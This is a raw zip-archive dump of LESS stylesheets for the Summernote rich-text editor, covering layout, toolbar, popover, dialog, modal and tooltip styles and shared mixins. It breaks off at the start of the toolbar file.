      color: #ccc;
      background-color: #222;
      resize: none;

      /* override BS2 default style */
      .box-sizing(border-box);
      .rounded(0);
      margin-bottom: 0;
    }
  }

  /* fullscreen mode */
  &.fullscreen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100% !important;
    z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */
    .note-editable {
      background-color: #fff;
    }
    .note-resizebar {
      display: none;
    }
  }

/* Notifications */
  .note-status-output {
    display: block;
    width: 100%;
    font-size: 14px;
    line-height: 1.42857143;
    height: 20px;
    margin-bottom: 0;
    color: #000;
    border: 0;
    border-top: 1px solid #e2e2e2
  }

  .note-status-output:empty {
    height: 0;
    border-top:0 solid transparent
  }

  .note-status-output .pull-right {
    float: right !important
  }

  .note-status-output .text-muted {
    color: #777
  }

  .note-status-output .text-primary {
    color: #286090
  }

  .note-status-output .text-success {
    color: #3c763d
  }

  .note-status-output .text-info {
    color: #31708f
  }

  .note-status-output .text-warning {
    color: #8a6d3b
  }

  .note-status-output .text-danger {
    color:#a94442
  }

  .note-status-output .alert {
    margin: -7px 0 0 0;
    padding: 7px 10px 2px 10px;
    border-radius: 0;
    color: #000;
    background-color: #f5f5f5;
  }

  .note-status-output .alert .note-icon{
    margin-right:5px
  }

  .note-status-output .alert-success {
    color: #3c763d !important;
    background-color: #dff0d8 !important;
  }

  .note-status-output .alert-info {
    color: #31708f !important;
    background-color: #d9edf7 !important;
  }

  .note-status-output .alert-warning {
    color: #8a6d3b !important;
    background-color: #fcf8e3 !important;
  }

  .note-status-output .alert-danger {
    color: #a94442 !important;
    background-color: #f2dede !important;
  }

  /* statusbar */
  .note-statusbar {
    background-color: @background-color;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
    border-top: 1px solid #ddd;
    .note-resizebar {
      padding-top: 1px;
      height: 9px;
      width: 100%;
      cursor: ns-resize;
      .note-icon-bar {
        width: 20px;
        margin: 1px auto;
        border-top: 1px solid @border-color;
      }
    }

    &.locked {
      .note-resizebar {
        cursor: default;
        .note-icon-bar {
          display: none;
        }
      }
    }
  }
  .note-placeholder {
    padding: 10px;
  }
}

/* Popover
------------------------------------------*/
.note-popover.popover {
  max-width: none;
  .popover-content {
    a {
      display: inline-block;
      max-width: 200px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;    /* for FF */
      vertical-align: middle; /* for FF */
    }
  }
  .arrow {
    left: 20px !important;
  }
}

/* Popover and Toolbar (Button container)
------------------------------------------*/
.note-toolbar {
  z-index: 500;
  position: relative;
}

.note-popover .popover-content, .panel-heading.note-toolbar {
  margin: 0;
  padding: 0 0 5px 5px;

  &>.btn-group {
    margin-top: 5px;
    margin-left: 0;
    margin-right: 5px;
  }

  .btn-group {
    .note-table {
      min-width: 0;
      padding: 5px;
      .note-dimension-picker {
        font-size: 18px;
        .note-dimension-picker-mousecatcher {
          position: absolute !important;
          z-index: 3;
          width: 10em;
          height: 10em;
          cursor: pointer;
        }
        .note-dimension-picker-unhighlighted {
          position: relative !important;
          z-index: 1;
          width: 5em;
          height: 5em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
        .note-dimension-picker-highlighted {
          position: absolute !important;
          z-index: 2;
          width: 1em;
          height: 1em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
      }
    }
  }

  .note-style { 
    .dropdown-style {
      blockquote, pre {
          margin: 0;
          padding: 5px 10px;
      }
      h1, h2, h3, h4, h5, h6, p {
          margin: 0;
          padding: 0;
      }
    }
  }

  .note-color {
    .dropdown-toggle {
      width: 20px;
      padding-left: 5px;
    }
    .dropdown-menu {
      min-width: 337px;
      .note-palette {
        display: inline-block;
        margin: 0;
        width: 160px;
        &:first-child {
          margin: 0 5px;
        }

        .note-palette-title {
          font-size: 12px;
          margin: 2px 7px;
          text-align: center;
          border-bottom: 1px solid #eee;
        }

        .note-color-reset {
          margin: 3px;
          padding: 0 3px;
          width: 100%;
          font-size: 11px;
          cursor: pointer;
          .rounded(5px);
        }

        .note-color-row {
          height: 20px;
        }

        .note-color-reset:hover {
          background: #eee;
        }
      }
    }
  }

  .note-para {
    .dropdown-menu {
      min-width: 216px;
      padding: 5px;
      &>div:first-child {
        margin-right: 5px;
      }
    }
  }

  /* dropdown-menu for toolbar and popover */
  .dropdown-menu {
    min-width: 90px;

    /* dropdown-menu right position */
    /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */
    &.right {
      right: 0;
      left: auto;
      &::before { right: 9px; left: auto !important;  }
      &::after { right: 10px; left: auto !important;  }
    }
    /* dropdown-menu for selectbox */
    &.note-check {
      li a i {
        color: deepskyblue;
        visibility: hidden;
      }
      li a.checked i {
        visibility: visible;
      }
    }

  }

  .note-fontsize-10 {
    font-size: 10px;
  }

  /* color palette for toolbar and popover */
  .note-color-palette {
    line-height: 1;
    div {
      .note-color-btn {
        width: 20px;
        height: 20px;
        padding: 0;
        margin: 0;
        border: 1px solid #fff;
      }
      .note-color-btn:hover {
        border: 1px solid #000;
      }
    }
  }
}

/* Dialog
------------------------------------------*/
.note-dialog {
  &>div {
    display: none; /* BS2's hide pacth. */
  }
  .form-group { /* overwrite BS's form-horizontal minus margins */
    margin-left: 0;
    margin-right: 0;
  }
  .note-modal-form {
    margin: 0; /* overwrite BS2's form margin bottom */
  }
  .note-image-dialog {
    .note-dropzone {
      min-height: 100px;
      font-size: 30px;
      line-height: 4; /* vertical-align */
      color: lightgray;
      text-align: center;
      border: 4px dashed lightgray;
      margin-bottom: 10px;
    }
  }

  // [workaround] firefox fileinput
  @-moz-document url-prefix() {
    .note-image-input {
      height: auto;
    }
  }
}

/* Placeholder
------------------------------------------*/
.note-placeholder {
  position: absolute;
  display: none;
  color: gray;
}

/* Handle
------------------------------------------*/
.note-handle {
  /* control selection */
  .note-control-selection {
    position: absolute;
    display: none;
    border: 1px solid #000;
    &>div { position: absolute; }

    .note-control-selection-bg {
      width: 100%;
      height: 100%;
      background-color: #000;
      .opacity(0.30)
    }

    .note-control-handle {
      width: 7px;
      height: 7px;
      border: 1px solid #000;
    }

    .note-control-holder {
      .note-control-handle;
    }

    .note-control-sizing {
      .note-control-handle;
      background-color: #fff;
    }

    .note-control-nw {
      top: -5px;
      left: -5px;
      border-right: none;
      border-bottom: none;
    }

    .note-control-ne {
      top: -5px;
      right: -5px;
      border-bottom: none;
      border-left: none;
    }

    .note-control-sw {
      bottom: -5px;
      left: -5px;
      border-top: none;
      border-right: none;
    }

    .note-control-se {
      right: -5px;
      bottom: -5px;
      cursor: se-resize;
    }

    .note-control-se.note-control-holder {
      cursor: default;
      border-top: none;
      border-left: none;
    }

    .note-control-selection-info {
      right: 0;
      bottom: 0;
      padding: 5px;
      margin: 5px;
      color: #fff;
      background-color: #000;
      font-size: 12px;
      .rounded(5px);
      .opacity(0.7);
    }
  }
}

.note-hint-popover {
  min-width: 100px;
  padding: 2px;

  .popover-content {
    padding: 3px;
    max-height: 150px;
    overflow: auto;

    .note-hint-group {
      .note-hint-item {
        display: block !important;
        padding: 3px;

        &.active, &:hover {
          display: block;
          clear: both;
          font-weight: 400;
          line-height: 1.4;
          color: #fff;
          white-space: nowrap;
          text-decoration: none;
          background-color: #428bca;
          outline: 0;
          cursor: pointer;
        }
      }
    }
  }
}
PK�{�\Dp�+��less/elements.lessnu�[���.gradient(@color: #F5F5F5, @start: #EEE, @stop: #FFF) {
  background: @color;
  background: -webkit-gradient(linear,
                               left bottom,
                               left top,
                               color-stop(0, @start),
                               color-stop(1, @stop));
  background: -ms-linear-gradient(bottom,
                                  @start,
                                  @stop);
  background: -moz-linear-gradient(center bottom,
                                   @start 0%,
                                   @stop 100%);
  background: -o-linear-gradient(@stop,
                                 @start);
  filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",@stop,@start));
}
.bw-gradient(@color: #F5F5F5, @start: 0, @stop: 255) {
  background: @color;
  background: -webkit-gradient(linear,
                               left bottom,
                               left top,
                               color-stop(0, rgb(@start,@start,@start)),
                               color-stop(1, rgb(@stop,@stop,@stop)));
  background: -ms-linear-gradient(bottom,
                                  rgb(@start,@start,@start) 0%,
                                  rgb(@stop,@stop,@stop) 100%);
  background: -moz-linear-gradient(center bottom,
                                   rgb(@start,@start,@start) 0%,
                                   rgb(@stop,@stop,@stop) 100%);
  background: -o-linear-gradient(rgb(@stop,@stop,@stop),
                                 rgb(@start,@start,@start));
  filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",rgb(@stop,@stop,@stop),rgb(@start,@start,@start)));
}
.bordered(@top-color: #EEE, @right-color: #EEE, @bottom-color: #EEE, @left-color: #EEE) {
  border-top: solid 1px @top-color;
  border-left: solid 1px @left-color;
  border-right: solid 1px @right-color;
  border-bottom: solid 1px @bottom-color;
}
.drop-shadow(@x-axis: 0, @y-axis: 1px, @blur: 2px, @alpha: 0.1) {
  -webkit-box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha);
  -moz-box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha);
  box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha);
}
.rounded(@radius: 2px) {
  -webkit-border-radius: @radius;
  -moz-border-radius: @radius;
  border-radius: @radius;
}
.border-radius(@topright: 0, @bottomright: 0, @bottomleft: 0, @topleft: 0) {
  -webkit-border-top-right-radius: @topright;
  -webkit-border-bottom-right-radius: @bottomright;
  -webkit-border-bottom-left-radius: @bottomleft;
  -webkit-border-top-left-radius: @topleft;
  -moz-border-radius-topright: @topright;
  -moz-border-radius-bottomright: @bottomright;
  -moz-border-radius-bottomleft: @bottomleft;
  -moz-border-radius-topleft: @topleft;
  border-top-right-radius: @topright;
  border-bottom-right-radius: @bottomright;
  border-bottom-left-radius: @bottomleft;
  border-top-left-radius: @topleft;
  .background-clip(padding-box);
}
.opacity(@opacity: 0.5) {
  -webkit-opacity: @opacity;
  -khtml-opacity: @opacity;
  -moz-opacity: @opacity;
  opacity: @opacity;
  @opperc: @opacity * 100;
  -ms-filter: ~"progid:DXImageTransform.Microsoft.Alpha(opacity=@{opperc})";
  filter: ~"alpha(opacity=@{opperc})";
}
.transition-duration(@duration: 0.2s) {
  -moz-transition-duration: @duration;
  -webkit-transition-duration: @duration;
  -o-transition-duration: @duration;
  transition-duration: @duration;
}
.transform(...) {
  -webkit-transform: @arguments;
  -moz-transform: @arguments;
  -o-transform: @arguments;
  -ms-transform: @arguments;
  transform: @arguments;
}
.rotation(@deg:5deg){
  .transform(rotate(@deg));
}
.scale(@ratio:1.5){
  .transform(scale(@ratio));
}
.transition(@duration:0.2s, @ease:ease-out) {
  -webkit-transition: all @duration @ease;
  -moz-transition: all @duration @ease;
  -o-transition: all @duration @ease;
  transition: all @duration @ease;
}
.inner-shadow(@horizontal:0, @vertical:1px, @blur:2px, @alpha: 0.4) {
  -webkit-box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha);
  -moz-box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha);
  box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha);
}
.box-shadow(@arguments) {
  -webkit-box-shadow: @arguments;
  -moz-box-shadow: @arguments;
  box-shadow: @arguments;
}
.box-sizing(@sizing: border-box) {
  -ms-box-sizing: @sizing;
  -moz-box-sizing: @sizing;
  -webkit-box-sizing: @sizing;
  box-sizing: @sizing;
}
.user-select(@argument: none) {
  -webkit-user-select: @argument;
  -moz-user-select: @argument;
  -ms-user-select: @argument;
  user-select: @argument;
}
.columns(@colwidth: 250px, @colcount: 0, @colgap: 50px, @columnRuleColor: #EEE, @columnRuleStyle: solid, @columnRuleWidth: 1px) {
  -moz-column-width: @colwidth;
  -moz-column-count: @colcount;
  -moz-column-gap: @colgap;
  -moz-column-rule-color: @columnRuleColor;
  -moz-column-rule-style: @columnRuleStyle;
  -moz-column-rule-width: @columnRuleWidth;
  -webkit-column-width: @colwidth;
  -webkit-column-count: @colcount;
  -webkit-column-gap: @colgap;
  -webkit-column-rule-color: @columnRuleColor;
  -webkit-column-rule-style: @columnRuleStyle;
  -webkit-column-rule-width: @columnRuleWidth;
  column-width: @colwidth;
  column-count: @colcount;
  column-gap: @colgap;
  column-rule-color: @columnRuleColor;
  column-rule-style: @columnRuleStyle;
  column-rule-width: @columnRuleWidth;
}
.translate(@x:0, @y:0) {
  .transform(translate(@x, @y));
}
.background-clip(@argument: padding-box) {
  -moz-background-clip: @argument;
  -webkit-background-clip: @argument;
  background-clip: @argument;
}
PK�{�\��q0�0�0less/summernote-lite.lessnu�[���@import "elements.less";
@import "../icons/dist/summernote.less";
@import "lite-ui/all.less";

/* Theme Variables
 ------------------------------------------*/
@border-color: #a9a9a9;
@background-color: #f5f5f5;

/* Layout
 ------------------------------------------*/
.note-editor {
  position: relative;

  /* dropzone */
  @dropzone-color: lightskyblue;
  @dropzone-active-color: darken(@dropzone-color, 30);
  .note-dropzone {
    position: absolute;
    display: none;
    z-index: 100;
    color: @dropzone-color;
    background-color: #fff;
    opacity: 0.95;
    pointer-event: none;

    .note-dropzone-message {
      display: table-cell;
      vertical-align: middle;
      text-align: center;
      font-size: 28px;
      font-weight: 700;
    }

    &.hover {
      color: @dropzone-active-color;
    }
  }

  &.dragover .note-dropzone {
    display: table;
  }

  .note-editing-area {
    position: relative;
    p {
        margin: 0 0 10px;
    }

    .note-editable {
      outline: none;

      table {
        width:100%;
        border-collapse: collapse;

        td,th {
          border:1px solid #ececec;
          padding:5px 3px; 
        }
      }

      sup {
        vertical-align: super;
      }

      sub {
        vertical-align: sub;
      }
      
      a {
        background-color: inherit;
        text-decoration: inherit;
        font-family: inherit;
        font-weight: inherit;
        color: #337ab7;
      }
      
      a:hover,
      a:focus {
        color: #23527c;
        text-decoration: underline;
        outline: 0;
      }
      
      figure {
        margin: 0;
      }
    }
  }
}

/* Frame mode layout
------------------------------------------*/
.note-editor.note-frame {
  border: 1px solid @border-color;

  /* codeview mode */
  &.codeview {
    .note-editing-area {
      .note-editable {
        display: none;
      }
      .note-codable {
        display: block;
      }
    }
  }

  .note-editing-area {
    overflow: hidden;

    /* editable */
    .note-editable {
      background-color: #fff;
      color: #000;
      padding: 10px;
      overflow: auto;
      word-wrap: break-word;

      &[contenteditable="false"] {
        background-color: #e5e5e5;
      }
    }

    /* codeable */
    .note-codable {
      display: none;
      width: 100%;
      padding: 10px;
      border: none;
      box-shadow: none;
      font-family: Menlo, Monaco, monospace, sans-serif;
      font-size: 14px;
      color: #ccc;
      background-color: #222;
      resize: none;

      /* override BS2 default style */
      .box-sizing(border-box);
      .rounded(0);
      margin-bottom: 0;
    }
  }

  /* fullscreen mode */
  &.fullscreen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100% !important;
    z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */
    .note-editable {
      background-color: #fff;
    }
    .note-resizebar {
      display: none;
    }
  }

  /* Notification */
  .note-status-output {
    display: block;
    width: 100%;
    font-size: 14px;
    line-height: 1.42857143;
    height: 20px;
    margin-bottom: 0;
    color: #000;
    border: 0;
    border-top: 1px solid #e2e2e2;
  }
  
  .note-status-output:empty {
    height: 0;
    border-top:0 solid transparent
  }

  .note-status-output .pull-right {
    float: right !important
  }

  .note-status-output .text-muted {
    color: #777
  }

  .note-status-output .text-primary {
    color: #286090
  }

  .note-status-output .text-success {
    color: #3c763d
  }

  .note-status-output .text-info {
    color: #31708f
  }

  .note-status-output .text-warning {
    color: #8a6d3b
  }

  .note-status-output .text-danger {
    color:#a94442
  }

  .note-status-output .alert {
    margin: -7px 0 0 0;
    padding: 7px 10px 2px 10px;
    border-radius: 0;
    color: #000;
    background-color: #f5f5f5;
  }

  .note-status-output .alert .note-icon{
    margin-right:5px
  }

  .note-status-output .alert-success {
    color: #3c763d !important;
    background-color: #dff0d8 !important;
  }

  .note-status-output .alert-info {
    color: #31708f !important;
    background-color: #d9edf7 !important;
  }

  .note-status-output .alert-warning {
    color: #8a6d3b !important;
    background-color: #fcf8e3 !important;
  }

  .note-status-output .alert-danger {
    color: #a94442 !important;
    background-color: #f2dede !important;
  }

  /* statusbar */
  .note-statusbar {
    background-color: @background-color;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
    border-top: 1px solid #ddd;
    .note-resizebar {
      padding-top: 1px;
      height: 9px;
      width: 100%;
      cursor: ns-resize;
      .note-icon-bar {
        width: 20px;
        margin: 1px auto;
        border-top: 1px solid @border-color;
      }
    }

    &.locked {
      .note-resizebar {
        cursor: default;
        .note-icon-bar {
          display: none;
        }
      }
    }
  }
  .note-placeholder {
    padding: 10px;
  }
}

/* Popover
------------------------------------------*/
.note-popover {
  max-width: none;
  .note-popover-content {
    a {
      display: inline-block;
      max-width: 200px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;    /* for FF */
      vertical-align: middle; /* for FF */
    }
  }
  .note-popover-arrow {
    left: 20px !important;
  }
}

/* Popover and Toolbar (Button container)
------------------------------------------*/
.note-popover .note-popover-content, .note-toolbar {
  margin: 0;
  padding: 0 0 5px 5px;
  background-color: #fff;

  &>.note-btn-group {
    margin-top: 5px;
    margin-left: 0;
    margin-right: 5px;
  }

  .note-btn-group {
    .note-table {
      min-width: 0;
      padding: 5px;
      .note-dimension-picker {
        font-size: 18px;
        .note-dimension-picker-mousecatcher {
          position: absolute !important;
          z-index: 3;
          width: 10em;
          height: 10em;
          cursor: pointer;
        }
        .note-dimension-picker-unhighlighted {
          position: relative !important;
          z-index: 1;
          width: 5em;
          height: 5em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
        .note-dimension-picker-highlighted {
          position: absolute !important;
          z-index: 2;
          width: 1em;
          height: 1em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
      }
    }
  }

  .note-style {
    h1, h2, h3, h4, h5, h6, blockquote {
      margin: 0;
    }
  }

  .note-color {
    .dropdown-toggle {
      width: 20px;
      padding-left: 5px;
    }
    .note-dropdown-menu {
      -webkit-box-sizing: content-box;
         -moz-box-sizing: content-box;
              box-sizing: content-box;
      min-width: 346px;
      .note-palette {
        display: inline-block;
        margin: 0;
        width: 160px;
        &:first-child {
          margin: 0 5px;
          margin-right:15px;
        }

        .note-palette-title {
          font-size: 12px;
          margin: 2px 7px;
          text-align: center;
          border-bottom: 1px solid #eee;
        }

        .note-color-reset {
          margin: 3px;
          padding: 2px 3px;
          width: 100%;
          cursor: pointer;
          .rounded(5px);
          background-color: #fff; 
          border:0;
        }

        .note-color-row {
          height: 20px;
        }

        .note-color-reset:hover {
          background: #eee;
        }
      }
    }
  }

  .note-para {
    .note-dropdown-menu {
      min-width: 216px;
      padding: 5px;
      &>div:first-child {
        margin-right: 5px;
      }
    }
  }

  .note-btn-fontname {
    .note-dropdown-menu {
      min-width: 200px;
    }
  }

  /* dropdown-menu for toolbar and popover */
  .note-dropdown-menu {
    min-width: 160px;

    /* dropdown-menu right position */
    /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */
    &.right {
      right: 0;
      left: auto;
      &::before { right: 9px; left: auto !important;  }
      &::after { right: 10px; left: auto !important;  }
    }
    /* dropdown-menu for selectbox */
    &.note-check {
      .note-dropdown-item i {
        color: deepskyblue;
        visibility: hidden;
      }
      .note-dropdown-item.checked i {
        visibility: visible;
      }
    }

    .note-dropdown-item > * {
      margin: 0;
    }

  }

  .note-fontsize-10 {
    font-size: 10px;
  }

  /* color palette for toolbar and popover */
  .note-color-palette {
    line-height: 1;
    div {
      .note-color-btn {
        width: 20px;
        height: 20px;
        padding: 0;
        margin: 0;
        border: 1px solid #fff;
      }
      .note-color-btn:hover {
        border: 1px solid #000;
      }
    }
  }
}

/* Dialog
------------------------------------------*/
.note-modal {

  .note-modal-body {
    label {
      margin-bottom: 2px;
      padding: 2px 5px;
      display: inline-block;
    }

    .help-list-item:hover {
      background-color: #e0e0e0;
    }
  }

  // [workaround] firefox fileinput
  @-moz-document url-prefix() {
    .note-image-input {
      height: auto;
    }
  }
}

/* Placeholder
------------------------------------------*/
.note-placeholder {
  position: absolute;
  display: none;
  color: gray;
}

/* Handle
------------------------------------------*/
.note-handle {
  /* control selection */
  .note-control-selection {
    position: absolute;
    display: none;
    border: 1px solid black;
    &>div { position: absolute; }

    .note-control-selection-bg {
      width: 100%;
      height: 100%;
      background-color: #000;
      .opacity(0.30)
    }

    .note-control-handle {
      width: 7px;
      height: 7px;
      border: 1px solid #000;
    }

    .note-control-holder {
      .note-control-handle;
    }

    .note-control-sizing {
      .note-control-handle;
      background-color: #fff;
    }

    .note-control-nw {
      top: -5px;
      left: -5px;
      border-right: none;
      border-bottom: none;
    }

    .note-control-ne {
      top: -5px;
      right: -5px;
      border-bottom: none;
      border-left: none;
    }

    .note-control-sw {
      bottom: -5px;
      left: -5px;
      border-top: none;
      border-right: none;
    }

    .note-control-se {
      right: -5px;
      bottom: -5px;
      cursor: se-resize;
    }

    .note-control-se.note-control-holder {
      cursor: default;
      border-top: none;
      border-left: none;
    }

    .note-control-selection-info {
      right: 0;
      bottom: 0;
      padding: 5px;
      margin: 5px;
      color: #fff;
      background-color: #000;
      font-size: 12px;
      .rounded(5px);
      .opacity(0.7);
    }
  }
}

.note-hint-popover {
  min-width: 100px;
  padding: 2px;

  .note-popover-content {
    padding: 3px;
    max-height: 150px;
    overflow: auto;

    .note-hint-group {
      .note-hint-item {
        display: block !important;
        padding: 3px;

        &.active, &:hover {
          display: block;
          clear: both;
          font-weight: 400;
          line-height: 1.4;
          color: #fff;
          white-space: nowrap;
          text-decoration: none;
          background-color: #428bca;
          outline: 0;
          cursor: pointer;
        }
      }
    }
  }
}

.help-list-item {
  label {
    margin-bottom:5px;
    display:inline-block;
  }
}
PK�{�\~�W^^less/lite-ui/tooltip.lessnu�[���.note-tooltip {
  position: absolute;
  z-index: @zindex-tooltip;
  display: block;
  // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.
  // So reset our font and text properties to avoid inheriting weird values.
  font-size: 13px;

  .opacity(0);

  &.in     { .opacity(@tooltip-opacity); }
  &.top    { margin-top:  -3px; padding: @tooltip-arrow-width 0; }
  &.right  { margin-left:  3px; padding: 0 @tooltip-arrow-width; }
  &.bottom { margin-top:   3px; padding: @tooltip-arrow-width 0; }
  &.left   { margin-left: -3px; padding: 0 @tooltip-arrow-width; }
}

.note-tooltip {
  &.bottom .note-tooltip-arrow {
    top: 0;
    left: 50%;
    margin-left: -@tooltip-arrow-width;
    border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;
    border-bottom-color: @tooltip-arrow-color;
  }

  &.top .note-tooltip-arrow {
    bottom: 0;
    left: 50%;
    margin-left: -@tooltip-arrow-width;
    border-width: @tooltip-arrow-width @tooltip-arrow-width 0;
    border-top-color: @tooltip-arrow-color;
  }

  &.right .note-tooltip-arrow {
    top: 50%;
    left: 0;
    margin-top: -@tooltip-arrow-width;
    border-width: @tooltip-arrow-width @tooltip-arrow-width @tooltip-arrow-width 0;
    border-right-color: @tooltip-arrow-color;
  }
  &.left .note-tooltip-arrow {
    top: 50%;
    right: 0;
    margin-top: -@tooltip-arrow-width;
    border-width: @tooltip-arrow-width 0 @tooltip-arrow-width @tooltip-arrow-width;
    border-left-color: @tooltip-arrow-color;
  }
}


.note-tooltip-arrow {
  position: absolute;
  width: 0;
  height: 0;
  border-color: transparent;
  border-style: solid;
}

.note-tooltip-content {
  max-width: @tooltip-max-width;
  padding: 3px 8px;
  color: @tooltip-color;
  text-align: center;
  background-color: @tooltip-bg;
}PK�{�\�=�9��less/lite-ui/dropdown.lessnu�[���.note-dropdown {
  position: relative;

}

.note-dropdown-menu {
  display: none;
  min-width: 100px;
  position: absolute;
  top: 100%;
  left: 0;
  z-index : @zindex-dropdown;
  float: left;
  text-align:left;
  background: @dropdown-color-bg;
  border: 1px solid @dropdown-color-border;
  padding: 5px;
  background-clip: padding-box;
  .box-shadow(0 1px 1px rgba(0,0,0,.06));
}

.note-btn-group.open .note-dropdown-menu {
  display: block;
}

.note-dropdown-item {
  display: block;

  &:hover {
    background-color: @btn-default-hover-bg;
  }
}

a.note-dropdown-item,
a.note-dropdown-item:hover {
  margin: 2px 0;
  color: #000;
  text-decoration: none;
}
PK�{�\~j����less/lite-ui/form.lessnu�[���.note-form-group {
  padding-bottom: 20px;
}

.note-form-group:last-child {
  padding-bottom: 0;
}

.note-form-label {
  display: block;
  font-size: 16px;
  color: #42515f;
  margin-bottom: 10px;
  font-weight: 700;
}

.note-input {
  width: 100%;
  display: block;
  border: 1px solid #ededef;
  background: #fff;
  outline: 0;
  padding: 6px 4px; 
  font-size: 14px;
  .box-sizing();
}


.note-input::-webkit-input-placeholder {
  color: @gray-lighter;
}

.note-input:-moz-placeholder { /* Firefox 18- */
  color: @gray-lighter;
}

.note-input::-moz-placeholder {  /* Firefox 19+ */
  color: @gray-lighter;
}

.note-input:-ms-input-placeholder {
  color: @gray-lighter;
}
PK�{�\I�|	@@less/lite-ui/modal.lessnu�[���.note-modal {
  position: absolute;
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
  overflow: hidden;
  z-index: @zindex-modal;
  .opacity(1);
  display: none;

  &.open {
    display:block;
  }
}




.note-modal-content {
  position: relative;
  width: auto;
  margin: 30px 20px;
  border: 1px solid @modal-content-border-color;
  background: @modal-content-bg;
  background-clip: border-box;
  outline:0;
}

.note-modal-header {
  padding: 30px 20px 20px 20px;
  border: 1px solid #ededef;

  .close {
    margin-top: -10px;
  }

}

.note-modal-body {
  position: relative;
  padding: 20px 30px;
}

.note-modal-footer {
  height: 40px;
  padding: 10px;
  text-align: center;

}

.note-modal-footer a {
  color: #337ab7;
  text-decoration: none
}

.note-modal-footer a:hover,
.note-modal-footer a:focus {
  color: #23527c;
  text-decoration: underline
}

.note-modal-footer .note-btn {
  float: right
}

.note-modal-title {
  font-size: 26px;
  color: #42515f;
  margin: 0;
  line-height: 1.4;
}

.note-modal-backdrop {
  position: absolute;
  left: 0;
  right: 0;
  bottom: 0;
  top: 0;
  z-index: @zindex-modal-background;
  background: @modal-backdrop-bg;
  .opacity(0.5);
  display: none;

  &.open {
    display: block;
  }
}


// Scale up the modal
@media (min-width: 768px) {
  // Automatically set modal's width for larger viewports
  .note-modal-content {
    width: 600px;
    margin: 30px auto;
  }
}

@media (min-width: 992px) {
  .note-modal-content-large {
    width: 900px;
  }
}
PK�{�\�j�ppless/lite-ui/btn-group.lessnu�[���.note-btn-group {
  position: relative;
  display: inline-block;
  margin-right: 8px;

  > .note-btn-group {
    margin-right: 0;
  }

  > .note-btn,
  > .note-btn-group {
    margin-left: -4px;
    border-radius: 0;

    &.focus,
    &.active {
      border-radius:0;
    }


    &:first-child {
      margin-left: 0;
      border-top-left-radius: 1px;
      border-bottom-left-radius: 1px;

      &.focus,
      &.active {
        border-top-left-radius: 1px;
        border-bottom-left-radius: 1px;
      }
    }

    &:last-child:not(.note-dropdown) {
      border-top-right-radius: 1px;
      border-bottom-right-radius: 1px;

      &.focus,
      &.active {
        border-top-right-radius: 1px;
        border-bottom-right-radius: 1px;
      }
    }
  }

  &.open {
    > .note-dropdown {
      display: block;
    }

  }
}PK�{�\�`ԝ�� less/lite-ui/mixins/buttons.lessnu�[���// Button variants
  //
  // Easily pump out default styles, as well as :hover, :focus, :active,
  // and disabled options for all buttons

.button-maker(@color; @background; @focusBackground; @activeBackground; @border) {
  color: @color;
  background-color: @background;
  border-color: @border;

  &:focus,
  &.focus {
    color: @color;
    background-color: @focusBackground;
    border-color: @border;
  }
  &:hover {
    color: @color;
    background-color: @focusBackground;
    border-color: @border;
  }

  &.disabled,
  &[disabled],
  fieldset[disabled] & {
    &:focus,
    &.focus {
      background-color: @background;
      border-color: @border;
    }
  }
}

// Button sizes
.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {
  padding: @padding-vertical @padding-horizontal;
  font-size: @font-size;
  line-height: @line-height;
  border-radius: @border-radius;
}
PK�{�\�c��MMless/lite-ui/toolbar.lessnu�[���.note-toolbar {
